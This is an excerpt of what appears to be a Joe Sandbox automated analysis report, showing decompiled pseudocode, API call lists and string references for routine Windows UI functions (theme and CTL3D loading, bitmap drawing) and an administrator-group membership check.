6C8D5550.KERNEL32(00000000,GetThemeSysColor,00000000,GetThemeFilename,00000000,SetWindowTheme,00000000,GetThemePropertyOrigin,00000000,GetThemeIntList,00000000,GetThemeMargins,00000000,GetThemeRect,00000000,GetThemeFont), ref: 0044B559
6C8D5550.KERNEL32(00000000,GetThemeSysColorBrush,00000000,GetThemeSysColor,00000000,GetThemeFilename,00000000,SetWindowTheme,00000000,GetThemePropertyOrigin,00000000,GetThemeIntList,00000000,GetThemeMargins,00000000,GetThemeRect), ref: 0044B56B
6C8D5550.KERNEL32(00000000,GetThemeSysBool,00000000,GetThemeSysColorBrush,00000000,GetThemeSysColor,00000000,GetThemeFilename,00000000,SetWindowTheme,00000000,GetThemePropertyOrigin,00000000,GetThemeIntList,00000000,GetThemeMargins), ref: 0044B57D
6C8D5550.KERNEL32(00000000,GetThemeSysSize,00000000,GetThemeSysBool,00000000,GetThemeSysColorBrush,00000000,GetThemeSysColor,00000000,GetThemeFilename,00000000,SetWindowTheme,00000000,GetThemePropertyOrigin,00000000,GetThemeIntList), ref: 0044B58F
6C8D5550.KERNEL32(00000000,GetThemeSysFont,00000000,GetThemeSysSize,00000000,GetThemeSysBool,00000000,GetThemeSysColorBrush,00000000,GetThemeSysColor,00000000,GetThemeFilename,00000000,SetWindowTheme,00000000,GetThemePropertyOrigin), ref: 0044B5A1
6C8D5550.KERNEL32(00000000,GetThemeSysString,00000000,GetThemeSysFont,00000000,GetThemeSysSize,00000000,GetThemeSysBool,00000000,GetThemeSysColorBrush,00000000,GetThemeSysColor,00000000,GetThemeFilename,00000000,SetWindowTheme), ref: 0044B5B3
6C8D5550.KERNEL32(00000000,GetThemeSysInt,00000000,GetThemeSysString,00000000,GetThemeSysFont,00000000,GetThemeSysSize,00000000,GetThemeSysBool,00000000,GetThemeSysColorBrush,00000000,GetThemeSysColor,00000000,GetThemeFilename), ref: 0044B5C5
6C8D5550.KERNEL32(00000000,IsThemeActive,00000000,GetThemeSysInt,00000000,GetThemeSysString,00000000,GetThemeSysFont,00000000,GetThemeSysSize,00000000,GetThemeSysBool,00000000,GetThemeSysColorBrush,00000000,GetThemeSysColor), ref: 0044B5D7
6C8D5550.KERNEL32(00000000,IsAppThemed,00000000,IsThemeActive,00000000,GetThemeSysInt,00000000,GetThemeSysString,00000000,GetThemeSysFont,00000000,GetThemeSysSize,00000000,GetThemeSysBool,00000000,GetThemeSysColorBrush), ref: 0044B5E9
6C8D5550.KERNEL32(00000000,GetWindowTheme,00000000,IsAppThemed,00000000,IsThemeActive,00000000,GetThemeSysInt,00000000,GetThemeSysString,00000000,GetThemeSysFont,00000000,GetThemeSysSize,00000000,GetThemeSysBool), ref: 0044B5FB
6C8D5550.KERNEL32(00000000,EnableThemeDialogTexture,00000000,GetWindowTheme,00000000,IsAppThemed,00000000,IsThemeActive,00000000,GetThemeSysInt,00000000,GetThemeSysString,00000000,GetThemeSysFont,00000000,GetThemeSysSize), ref: 0044B60D
6C8D5550.KERNEL32(00000000,IsThemeDialogTextureEnabled,00000000,EnableThemeDialogTexture,00000000,GetWindowTheme,00000000,IsAppThemed,00000000,IsThemeActive,00000000,GetThemeSysInt,00000000,GetThemeSysString,00000000,GetThemeSysFont), ref: 0044B61F
6C8D5550.KERNEL32(00000000,GetThemeAppProperties,00000000,IsThemeDialogTextureEnabled,00000000,EnableThemeDialogTexture,00000000,GetWindowTheme,00000000,IsAppThemed,00000000,IsThemeActive,00000000,GetThemeSysInt,00000000,GetThemeSysString), ref: 0044B631
6C8D5550.KERNEL32(00000000,SetThemeAppProperties,00000000,GetThemeAppProperties,00000000,IsThemeDialogTextureEnabled,00000000,EnableThemeDialogTexture,00000000,GetWindowTheme,00000000,IsAppThemed,00000000,IsThemeActive,00000000,GetThemeSysInt), ref: 0044B643
6C8D5550.KERNEL32(00000000,GetCurrentThemeName,00000000,SetThemeAppProperties,00000000,GetThemeAppProperties,00000000,IsThemeDialogTextureEnabled,00000000,EnableThemeDialogTexture,00000000,GetWindowTheme,00000000,IsAppThemed,00000000,IsThemeActive), ref: 0044B655
6C8D5550.KERNEL32(00000000,GetThemeDocumentationProperty,00000000,GetCurrentThemeName,00000000,SetThemeAppProperties,00000000,GetThemeAppProperties,00000000,IsThemeDialogTextureEnabled,00000000,EnableThemeDialogTexture,00000000,GetWindowTheme,00000000,IsAppThemed), ref: 0044B667
6C8D5550.KERNEL32(00000000,DrawThemeParentBackground,00000000,GetThemeDocumentationProperty,00000000,GetCurrentThemeName,00000000,SetThemeAppProperties,00000000,GetThemeAppProperties,00000000,IsThemeDialogTextureEnabled,00000000,EnableThemeDialogTexture,00000000,GetWindowTheme), ref: 0044B679
6C8D5550.KERNEL32(00000000,EnableTheming,00000000,DrawThemeParentBackground,00000000,GetThemeDocumentationProperty,00000000,GetCurrentThemeName,00000000,SetThemeAppProperties,00000000,GetThemeAppProperties,00000000,IsThemeDialogTextureEnabled,00000000,EnableThemeDialogTexture), ref: 0044B68B

Strings

IsThemeActive, xrefs: 0044B5CF
GetThemeMargins, xrefs: 0044B4F7
DrawThemeParentBackground, xrefs: 0044B671
GetThemeBackgroundContentRect, xrefs: 0044B38F, 0044B3A1
uxtheme.dll, xrefs: 0044B332
DrawThemeEdge, xrefs: 0044B40D
GetThemeMetric, xrefs: 0044B467
GetThemeInt, xrefs: 0044B49D
GetThemeSysInt, xrefs: 0044B5BD
GetThemeTextMetrics, xrefs: 0044B3D7
DrawThemeText, xrefs: 0044B37D
HitTestThemeBackground, xrefs: 0044B3FB
GetThemeSysBool, xrefs: 0044B575
IsAppThemed, xrefs: 0044B5E1
OpenThemeData, xrefs: 0044B347
GetThemeAppProperties, xrefs: 0044B629
GetThemeRect, xrefs: 0044B4E5
GetThemeFont, xrefs: 0044B4D3
GetThemePosition, xrefs: 0044B4C1
GetThemeEnumValue, xrefs: 0044B4AF
GetThemeSysString, xrefs: 0044B5AB
GetThemeColor, xrefs: 0044B455
SetThemeAppProperties, xrefs: 0044B63B
GetThemeSysSize, xrefs: 0044B587
GetWindowTheme, xrefs: 0044B5F3
EnableThemeDialogTexture, xrefs: 0044B605
IsThemeBackgroundPartiallyTransparent, xrefs: 0044B443
DrawThemeBackground, xrefs: 0044B36B
GetThemeSysColorBrush, xrefs: 0044B563
SetWindowTheme, xrefs: 0044B52D
GetThemeSysFont, xrefs: 0044B599
DrawThemeIcon, xrefs: 0044B41F
GetThemeSysColor, xrefs: 0044B551
GetThemeBool, xrefs: 0044B48B
GetThemePropertyOrigin, xrefs: 0044B51B
GetThemeTextExtent, xrefs: 0044B3C5
GetThemeIntList, xrefs: 0044B509
EnableTheming, xrefs: 0044B683
GetCurrentThemeName, xrefs: 0044B64D
GetThemeDocumentationProperty, xrefs: 0044B65F
GetThemeFilename, xrefs: 0044B53F
CloseThemeData, xrefs: 0044B359
IsThemeDialogTextureEnabled, xrefs: 0044B617
GetThemePartSize, xrefs: 0044B3B3
GetThemeString, xrefs: 0044B479
GetThemeBackgroundRegion, xrefs: 0044B3E9
IsThemePartDefined, xrefs: 0044B431

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: D5550$LibraryLoadVersion
String ID: CloseThemeData$DrawThemeBackground$DrawThemeEdge$DrawThemeIcon$DrawThemeParentBackground$DrawThemeText$EnableThemeDialogTexture$EnableTheming$GetCurrentThemeName$GetThemeAppProperties$GetThemeBackgroundContentRect$GetThemeBackgroundRegion$GetThemeBool$GetThemeColor$GetThemeDocumentationProperty$GetThemeEnumValue$GetThemeFilename$GetThemeFont$GetThemeInt$GetThemeIntList$GetThemeMargins$GetThemeMetric$GetThemePartSize$GetThemePosition$GetThemePropertyOrigin$GetThemeRect$GetThemeString$GetThemeSysBool$GetThemeSysColor$GetThemeSysColorBrush$GetThemeSysFont$GetThemeSysInt$GetThemeSysSize$GetThemeSysString$GetThemeTextExtent$GetThemeTextMetrics$GetWindowTheme$HitTestThemeBackground$IsAppThemed$IsThemeActive$IsThemeBackgroundPartiallyTransparent$IsThemeDialogTextureEnabled$IsThemePartDefined$OpenThemeData$SetThemeAppProperties$SetWindowTheme$uxtheme.dll
API String ID: 2731847445-2910565190
Opcode ID: 098f4700c2907fc1554ba32b0b08b5dba202583cdd5cf764a44ad359fd220b82
Instruction ID: 242e7e21fa825da25f81ac783cc841e04e5882cfc85cca0ddc461d149a585560
Opcode Fuzzy Hash: 098f4700c2907fc1554ba32b0b08b5dba202583cdd5cf764a44ad359fd220b82
Instruction Fuzzy Hash: 9691F6B0E41B25ABEB00AFB598D6E2E37A8EB057147500E7AB404EF295D778D8008F5D

Uniqueness

Uniqueness Score: -1.00%

Function 0041F1E0 Relevance: 45.6, APIs: 15, Strings: 11, Instructions: 87
libraryCOMMON

Download Yara Rule

C-Code - Quality: 56%

			E0041F1E0() {
				int _t1;
				struct HINSTANCE__* _t2;
				intOrPtr _t3;
				struct HINSTANCE__* _t5;
				int _t6;
				struct HINSTANCE__* _t7;
				struct HINSTANCE__* _t8;
				struct HINSTANCE__* _t9;
				struct HINSTANCE__* _t10;
				struct HINSTANCE__* _t11;
				struct HINSTANCE__* _t12;
				struct HINSTANCE__* _t13;
				struct HINSTANCE__* _t14;
				struct HINSTANCE__* _t15;
				signed int _t17;

				if( *0x48c594 != 0) {
					L10:
					return _t1;
				}
				_t1 = GetVersion();
				_t20 = _t1;
				if(_t1 < 4) {
					_t1 = E00406368(_t20);
					if(_t1 < 0x59) {
						_t17 = SetErrorMode(0x8000);
						 *0x48c594 = LoadLibraryA("CTL3D32.DLL");
						_t1 = SetErrorMode(_t17 & 0x0000ffff);
					}
				}
				if( *0x48c594 < 0x20) {
					 *0x48c594 = 1;
				}
				if( *0x48c594 < 0x20) {
					goto L10;
				} else {
					_push("Ctl3dRegister");
					_t2 =  *0x48c594; // 0x1
					_push(_t2);
					L00405A9C();
					 *0x48d630 = _t2;
					_t3 =  *0x48d014; // 0x400000
					_push(_t3);
					if( *0x48d630() == 0) {
						_t5 =  *0x48c594; // 0x1
						_t6 = FreeLibrary(_t5);
						 *0x48c594 = 1;
						return _t6;
					}
					_push("Ctl3dUnregister");
					_t7 =  *0x48c594; // 0x1
					_push(_t7);
					L00405A9C();
					 *0x48d634 = _t7;
					_push("Ctl3dSubclassCtl");
					_t8 =  *0x48c594; // 0x1
					_push(_t8);
					L00405A9C();
					 *0x48d638 = _t8;
					_push("Ctl3dSubclassDlgEx");
					_t9 =  *0x48c594; // 0x1
					_push(_t9);
					L00405A9C();
					 *0x48d63c = _t9;
					_push("Ctl3dDlgFramePaint");
					_t10 =  *0x48c594; // 0x1
					_push(_t10);
					L00405A9C();
					 *0x48c570 = _t10;
					_push("Ctl3dCtlColorEx");
					_t11 =  *0x48c594; // 0x1
					_push(_t11);
					L00405A9C();
					 *0x48c574 = _t11;
					_push("Ctl3dAutoSubclass");
					_t12 =  *0x48c594; // 0x1
					_push(_t12);
					L00405A9C();
					 *0x48d640 = _t12;
					_push("Ctl3dUnAutoSubclass");
					_t13 =  *0x48c594; // 0x1
					_push(_t13);
					L00405A9C();
					 *0x48d644 = _t13;
					_push("Ctl3DColorChange");
					_t14 =  *0x48c594; // 0x1
					_push(_t14);
					L00405A9C();
					 *0x48d648 = _t14;
					_push("BtnWndProc3d");
					_t15 =  *0x48c594; // 0x1
					_push(_t15);
					L00405A9C();
					 *0x48c56c = _t15;
					return _t15;
				}
			}

0x0041f1e8
0x0041f347
0x0041f347
0x0041f347
0x0041f1ee
0x0041f1f3
0x0041f1f8
0x0041f1fc
0x0041f203
0x0041f20a
0x0041f21b
0x0041f224
0x0041f224
0x0041f203
0x0041f230
0x0041f232
0x0041f232
0x0041f243
0x00000000
0x0041f249
0x0041f249
0x0041f24e
0x0041f253
0x0041f254
0x0041f259
0x0041f25e
0x0041f263
0x0041f26c
0x0041f331
0x0041f337
0x0041f33c
0x00000000
0x0041f33c
0x0041f272
0x0041f277
0x0041f27c
0x0041f27d
0x0041f282
0x0041f287
0x0041f28c
0x0041f291
0x0041f292
0x0041f297
0x0041f29c
0x0041f2a1
0x0041f2a6
0x0041f2a7
0x0041f2ac
0x0041f2b1
0x0041f2b6
0x0041f2bb
0x0041f2bc
0x0041f2c1
0x0041f2c6
0x0041f2cb
0x0041f2d0
0x0041f2d1
0x0041f2d6
0x0041f2db
0x0041f2e0
0x0041f2e5
0x0041f2e6
0x0041f2eb
0x0041f2f0
0x0041f2f5
0x0041f2fa
0x0041f2fb
0x0041f300
0x0041f305
0x0041f30a
0x0041f30f
0x0041f310
0x0041f315
0x0041f31a
0x0041f31f
0x0041f324
0x0041f325
0x0041f32a
0x00000000
0x0041f32a

APIs

GetVersion.KERNEL32(?,004190B8,00000000,?,?,00000001,00000000), ref: 0041F1EE
SetErrorMode.KERNEL32(00008000,?,004190B8,00000000,?,?,00000001,00000000), ref: 0041F20A
LoadLibraryA.KERNEL32(CTL3D32.DLL,00008000,?,004190B8,00000000,?,?,00000001,00000000), ref: 0041F216
SetErrorMode.KERNEL32(00000000,CTL3D32.DLL,00008000,?,004190B8,00000000,?,?,00000001,00000000), ref: 0041F224
6C8D5550.KERNEL32(00000001,Ctl3dRegister,?,004190B8,00000000,?,?,00000001,00000000), ref: 0041F254
6C8D5550.KERNEL32(00000001,Ctl3dUnregister,?,004190B8,00000000,?,?,00000001,00000000), ref: 0041F27D
6C8D5550.KERNEL32(00000001,Ctl3dSubclassCtl,00000001,Ctl3dUnregister,?,004190B8,00000000,?,?,00000001,00000000), ref: 0041F292
6C8D5550.KERNEL32(00000001,Ctl3dSubclassDlgEx,00000001,Ctl3dSubclassCtl,00000001,Ctl3dUnregister,?,004190B8,00000000,?,?,00000001,00000000), ref: 0041F2A7
6C8D5550.KERNEL32(00000001,Ctl3dDlgFramePaint,00000001,Ctl3dSubclassDlgEx,00000001,Ctl3dSubclassCtl,00000001,Ctl3dUnregister,?,004190B8,00000000,?,?,00000001,00000000), ref: 0041F2BC
6C8D5550.KERNEL32(00000001,Ctl3dCtlColorEx,00000001,Ctl3dDlgFramePaint,00000001,Ctl3dSubclassDlgEx,00000001,Ctl3dSubclassCtl,00000001,Ctl3dUnregister,?,004190B8,00000000,?,?,00000001), ref: 0041F2D1
6C8D5550.KERNEL32(00000001,Ctl3dAutoSubclass,00000001,Ctl3dCtlColorEx,00000001,Ctl3dDlgFramePaint,00000001,Ctl3dSubclassDlgEx,00000001,Ctl3dSubclassCtl,00000001,Ctl3dUnregister,?,004190B8,00000000), ref: 0041F2E6
6C8D5550.KERNEL32(00000001,Ctl3dUnAutoSubclass,00000001,Ctl3dAutoSubclass,00000001,Ctl3dCtlColorEx,00000001,Ctl3dDlgFramePaint,00000001,Ctl3dSubclassDlgEx,00000001,Ctl3dSubclassCtl,00000001,Ctl3dUnregister,?,004190B8), ref: 0041F2FB
6C8D5550.KERNEL32(00000001,Ctl3DColorChange,00000001,Ctl3dUnAutoSubclass,00000001,Ctl3dAutoSubclass,00000001,Ctl3dCtlColorEx,00000001,Ctl3dDlgFramePaint,00000001,Ctl3dSubclassDlgEx,00000001,Ctl3dSubclassCtl,00000001,Ctl3dUnregister), ref: 0041F310
6C8D5550.KERNEL32(00000001,BtnWndProc3d,00000001,Ctl3DColorChange,00000001,Ctl3dUnAutoSubclass,00000001,Ctl3dAutoSubclass,00000001,Ctl3dCtlColorEx,00000001,Ctl3dDlgFramePaint,00000001,Ctl3dSubclassDlgEx,00000001,Ctl3dSubclassCtl), ref: 0041F325
FreeLibrary.KERNEL32(00000001,?,004190B8,00000000,?,?,00000001,00000000), ref: 0041F337

Strings

BtnWndProc3d, xrefs: 0041F31A
Ctl3dUnregister, xrefs: 0041F272
Ctl3dDlgFramePaint, xrefs: 0041F2B1
CTL3D32.DLL, xrefs: 0041F211
Ctl3dAutoSubclass, xrefs: 0041F2DB
Ctl3DColorChange, xrefs: 0041F305
Ctl3dUnAutoSubclass, xrefs: 0041F2F0
Ctl3dSubclassCtl, xrefs: 0041F287
Ctl3dSubclassDlgEx, xrefs: 0041F29C
Ctl3dCtlColorEx, xrefs: 0041F2C6
Ctl3dRegister, xrefs: 0041F249

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: D5550$ErrorLibraryMode$FreeLoadVersion
String ID: BtnWndProc3d$CTL3D32.DLL$Ctl3DColorChange$Ctl3dAutoSubclass$Ctl3dCtlColorEx$Ctl3dDlgFramePaint$Ctl3dRegister$Ctl3dSubclassCtl$Ctl3dSubclassDlgEx$Ctl3dUnAutoSubclass$Ctl3dUnregister
API String ID: 4101126754-3614243559
Opcode ID: 75314b2eaa4bf69177d09f864bb6ec6c8c78ec8614df53f68c0acf1a6219d738
Instruction ID: b00500c56d477975086af7ab451da62873e29dfbcf9d38a71ba2b07221aa1eb7
Opcode Fuzzy Hash: 75314b2eaa4bf69177d09f864bb6ec6c8c78ec8614df53f68c0acf1a6219d738
Instruction Fuzzy Hash: BB31EDB0A51614AEEF00ABA5EDC6A5E3394E7087147100D7EB50497192D77C6C4A8F2C

Uniqueness

Uniqueness Score: -1.00%

Function 0041CAD4 Relevance: 33.2, APIs: 22, Instructions: 213
windowCOMMON

Download Yara Rule

C-Code - Quality: 47%

			E0041CAD4(void* __eax, int __ecx, intOrPtr __edx, char _a4, intOrPtr _a8, int _a12) {
				void* _v8;
				intOrPtr _v12;
				void* _v16;
				void* _v20;
				void* _v24;
				struct HDC__* _v28;
				struct HDC__* _v32;
				struct HDC__* _v36;
				struct tagRECT _v52;
				struct HDC__* _t58;
				void* _t60;
				intOrPtr _t71;
				struct HDC__* _t72;
				struct HBRUSH__* _t105;
				intOrPtr _t125;
				intOrPtr _t136;
				intOrPtr _t137;
				intOrPtr _t138;
				int _t141;
				int _t144;
				void* _t147;
				void* _t149;
				intOrPtr _t150;

				_t147 = _t149;
				_t150 = _t149 + 0xffffffd0;
				_t144 = __ecx;
				_v12 = __edx;
				_v8 = __eax;
				_t125 = _a8;
				_t141 = _a12;
				_v16 = 0;
				if(_v8 != 0 || __ecx != 0 && _t141 != 0) {
					_push(0);
					L0040602C();
					_v28 = 0;
					_t58 = _v28;
					_push(_t58);
					L00405CD4();
					_v32 = _t58;
					_push(_t147);
					_push(0x41cd2a);
					_push( *[fs:eax]);
					 *[fs:eax] = _t150;
					if(_a4 == 0) {
						_push(_t141);
						_push(_t144);
						_t60 = _v28;
						_push(_t60);
						L00405CCC();
						_v16 = _t60;
					} else {
						_push(0);
						_push(1);
						_push(1);
						_push(_t141);
						_push(_t144);
						L00405CBC();
						_v16 = 0;
					}
					if(_v16 == 0) {
						E0041B45C();
					}
					_v24 = SelectObject(_v32, _v16);
					_push(_t147);
					_push(0x41cce3);
					_push( *[fs:eax]);
					 *[fs:eax] = _t150;
					if(_t125 == 0) {
						PatBlt(_v32, 0, 0, _t144, _t141, 0xff0062);
					} else {
						_t105 = E0041A7A8( *((intOrPtr*)(_t125 + 0x14)));
						E0040AD00(0, _t144, 0,  &_v52, _t141);
						FillRect(_v32,  &_v52, _t105);
						SetTextColor(_v32, E0041A120( *((intOrPtr*)( *((intOrPtr*)(_t125 + 0xc)) + 0x10))));
						SetBkColor(_v32, E0041A120(E0041A76C( *((intOrPtr*)(_t125 + 0x14)))));
					}
					if(_v8 == 0) {
						_pop(_t136);
						 *[fs:eax] = _t136;
						_pop(_t137);
						 *[fs:eax] = _t137;
						_push(0x41cd31);
						DeleteDC(_v32);
						_t71 = _v28;
						_push(_t71);
						_push(0);
						L00406214();
						return _t71;
					} else {
						_t72 = _v28;
						_push(_t72);
						L00405CD4();
						_v36 = _t72;
						if(_v36 == 0) {
							E0041B45C();
						}
						_push(_t147);
						_push(0x41ccd2);
						_push( *[fs:eax]);
						 *[fs:eax] = _t150;
						E0041C900(_v8);
						_v20 = SelectObject(_v36, _v8);
						if(_v12 != 0) {
							_push(1);
							_push(_v12);
							_push(_v36);
							L00405E2C();
							_push(_v36);
							L00405DEC();
							_push(1);
							_push(_v12);
							_push(_v32);
							L00405E2C();
							_push(_v32);
							L00405DEC();
						}
						if(_t125 != 0) {
							SetTextColor(_v36, E0041A120( *((intOrPtr*)( *((intOrPtr*)(_t125 + 0xc)) + 0x10))));
							SetBkColor(_v36, E0041A120(E0041A76C( *((intOrPtr*)(_t125 + 0x14)))));
						}
						_push(0xcc0020);
						_push(0);
						_push(0);
						_push(_v36);
						_push(_t141);
						_push(_t144);
						_push(0);
						_push(0);
						_push(_v32);
						L00405CAC();
						SelectObject(_v36, _v20);
						_pop(_t138);
						 *[fs:eax] = _t138;
						_push(0x41ccd9);
						return DeleteDC(_v36);
					}
				} else {
					return _v16;
				}
			}

0x0041cad5
0x0041cad7
0x0041cadd
0x0041cadf
0x0041cae2
0x0041cae5
0x0041cae8
0x0041caed
0x0041caf4
0x0041cb06
0x0041cb08
0x0041cb0d
0x0041cb10
0x0041cb13
0x0041cb14
0x0041cb19
0x0041cb1e
0x0041cb1f
0x0041cb24
0x0041cb27
0x0041cb2e
0x0041cb42
0x0041cb43
0x0041cb44
0x0041cb47
0x0041cb48
0x0041cb4d
0x0041cb30
0x0041cb30
0x0041cb32
0x0041cb34
0x0041cb36
0x0041cb37
0x0041cb38
0x0041cb3d
0x0041cb3d
0x0041cb54
0x0041cb56
0x0041cb56
0x0041cb68
0x0041cb6d
0x0041cb6e
0x0041cb73
0x0041cb76
0x0041cb7b
0x0041cbe0
0x0041cb7d
0x0041cb80
0x0041cb91
0x0041cb9e
0x0041cbb3
0x0041cbca
0x0041cbca
0x0041cbe9
0x0041ccdb
0x0041ccde
0x0041cd0a
0x0041cd0d
0x0041cd10
0x0041cd19
0x0041cd1e
0x0041cd21
0x0041cd22
0x0041cd24
0x0041cd29
0x0041cbef
0x0041cbef
0x0041cbf2
0x0041cbf3
0x0041cbf8
0x0041cbff
0x0041cc01
0x0041cc01
0x0041cc08
0x0041cc09
0x0041cc0e
0x0041cc11
0x0041cc17
0x0041cc29
0x0041cc30
0x0041cc32
0x0041cc37
0x0041cc3b
0x0041cc3c
0x0041cc44
0x0041cc45
0x0041cc4a
0x0041cc4f
0x0041cc53
0x0041cc54
0x0041cc5c
0x0041cc5d
0x0041cc5d
0x0041cc64
0x0041cc76
0x0041cc8d
0x0041cc8d
0x0041cc92
0x0041cc97
0x0041cc99
0x0041cc9e
0x0041cc9f
0x0041cca0
0x0041cca1
0x0041cca3
0x0041cca8
0x0041cca9
0x0041ccb6
0x0041ccbd
0x0041ccc0
0x0041ccc3
0x0041ccd1
0x0041ccd1
0x0041cd31
0x0041cd3a
0x0041cd3a

APIs

740BAC50.USER32(00000000,?,0041AA0C,?), ref: 0041CB08
740BA590.GDI32(?,00000000,?,0041AA0C,?), ref: 0041CB14
740BA410.GDI32(0041AA0C,?,00000001,00000001,00000000,00000000,0041CD2A,?,?,00000000,?,0041AA0C,?), ref: 0041CB38
740BA520.GDI32(?,0041AA0C,?,00000000,0041CD2A,?,?,00000000,?,0041AA0C,?), ref: 0041CB48
SelectObject.GDI32(0041CF04,00000000), ref: 0041CB63
FillRect.USER32 ref: 0041CB9E
SetTextColor.GDI32(0041CF04,00000000), ref: 0041CBB3
SetBkColor.GDI32(0041CF04,00000000), ref: 0041CBCA
PatBlt.GDI32(0041CF04,00000000,00000000,0041AA0C,?,00FF0062), ref: 0041CBE0
740BA590.GDI32(?,00000000,0041CCE3,?,0041CF04,00000000,?,0041AA0C,?,00000000,0041CD2A,?,?,00000000,?,0041AA0C), ref: 0041CBF3
SelectObject.GDI32(00000000,00000000), ref: 0041CC24
740BB410.GDI32(00000000,00000000,00000001,00000000,00000000,00000000,0041CCD2,?,?,00000000,0041CCE3,?,0041CF04,00000000,?,0041AA0C), ref: 0041CC3C
740BB150.GDI32(00000000,00000000,00000000,00000001,00000000,00000000,00000000,0041CCD2,?,?,00000000,0041CCE3,?,0041CF04,00000000,?), ref: 0041CC45
740BB410.GDI32(0041CF04,00000000,00000001,00000000,00000000,00000000,00000001,00000000,00000000,00000000,0041CCD2,?,?,00000000,0041CCE3), ref: 0041CC54
740BB150.GDI32(0041CF04,0041CF04,00000000,00000001,00000000,00000000,00000000,00000001,00000000,00000000,00000000,0041CCD2,?,?,00000000,0041CCE3), ref: 0041CC5D
SetTextColor.GDI32(00000000,00000000), ref: 0041CC76
SetBkColor.GDI32(00000000,00000000), ref: 0041CC8D
740C97E0.GDI32(0041CF04,00000000,00000000,0041AA0C,?,00000000,00000000,00000000,00CC0020,00000000,00000000,00000000,0041CCD2,?,?,00000000), ref: 0041CCA9
SelectObject.GDI32(00000000,?), ref: 0041CCB6
DeleteDC.GDI32(00000000), ref: 0041CCCC

Part of subcall function 0041A120: GetSysColor.USER32(?), ref: 0041A12A

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: Color$ObjectSelect$A590B150B410Text$A410A520DeleteFillRect
String ID:
API String ID: 161883734-0
Opcode ID: d6d250347b78cab22f9e5047a66c506a469bac8e7be5dd0b898b332a2b22f203
Instruction ID: 290c54d875c6524fc3f19ced98f47c6901c6adc70a2cc63b7e88767eb8d85aa7
Opcode Fuzzy Hash: d6d250347b78cab22f9e5047a66c506a469bac8e7be5dd0b898b332a2b22f203
Instruction Fuzzy Hash: 4B61EF71A44604ABDB10EBE5DC86FEFB7B8EB48704F10446AF504E7281D67C9D508B69

Uniqueness

Uniqueness Score: -1.00%

Function 0042DF1C Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 178
memoryCOMMON

Download Yara Rule

C-Code - Quality: 40%

			E0042DF1C(long __eax, void* __edi) {
				char _v5;
				void* _v12;
				signed int _v16;
				void* _v20;
				long _v24;
				void* _v28;
				struct HINSTANCE__* _t91;
				struct HINSTANCE__* _t95;
				signed int _t96;
				intOrPtr _t101;
				intOrPtr _t102;
				void* _t107;
				void* _t108;
				void* _t110;
				void* _t112;
				intOrPtr _t113;

				_t110 = _t112;
				_t113 = _t112 + 0xffffffe8;
				if( *0x48c0e0 == 2) {
					_v5 = 0;
					if(AllocateAndInitializeSid( &E0048C79C, 2, 0x20, __eax, 0, 0, 0, 0, 0, 0,  &_v12) == 0) {
						goto L26;
					} else {
						_push(_t110);
						_push(0x42e100);
						_push( *[fs:eax]);
						 *[fs:eax] = _t113;
						_t95 = 0;
						if((GetVersion() & 0x000000ff) >= 5) {
							_push("CheckTokenMembership");
							_t91 = GetModuleHandleA("advapi32.dll");
							_push(_t91);
							L00405A9C();
							_t95 = _t91;
						}
						if(_t95 == 0) {
							_v28 = 0;
							if(OpenThreadToken(GetCurrentThread(), 8, 1,  &_v20) != 0) {
								L13:
								_push(_t110);
								_push(0x42e0e2);
								_push( *[fs:eax]);
								 *[fs:eax] = _t113;
								_v24 = 0;
								if(GetTokenInformation(_v20, 2, 0, 0,  &_v24) != 0 || GetLastError() == 0x7a) {
									_v28 = E00402650(_v24);
									if(GetTokenInformation(_v20, 2, _v28, _v24,  &_v24) != 0) {
										_t107 =  *_v28 - 1;
										if(_t107 >= 0) {
											_t108 = _t107 + 1;
											_t96 = 0;
											while(EqualSid(_v12,  *(_v28 + 4 + _t96 * 8)) == 0 || ( *(_v28 + 8 + _t96 * 8) & 0x00000014) != 4) {
												_t96 = _t96 + 1;
												_t108 = _t108 - 1;
												if(_t108 != 0) {
													continue;
												}
												goto L24;
											}
											_v5 = 1;
										}
										L24:
										_pop(_t101);
										 *[fs:eax] = _t101;
										_push(E0042E0E9);
										E00402668(_v28);
										return CloseHandle(_v20);
									} else {
										E00403304();
										E00403304();
										goto L26;
									}
								} else {
									E00403304();
									E00403304();
									goto L26;
								}
							} else {
								if(GetLastError() == 0x3f0) {
									if(OpenProcessToken(GetCurrentProcess(), 8,  &_v20) != 0) {
										goto L13;
									} else {
										E00403304();
										goto L26;
									}
								} else {
									E00403304();
									goto L26;
								}
							}
						} else {
							_push( &_v16);
							_push(_v12);
							_push(0);
							if(_t95->i() != 0) {
								asm("sbb eax, eax");
								_v5 =  ~( ~_v16);
							}
							_pop(_t102);
							 *[fs:eax] = _t102;
							_push(E0042E107);
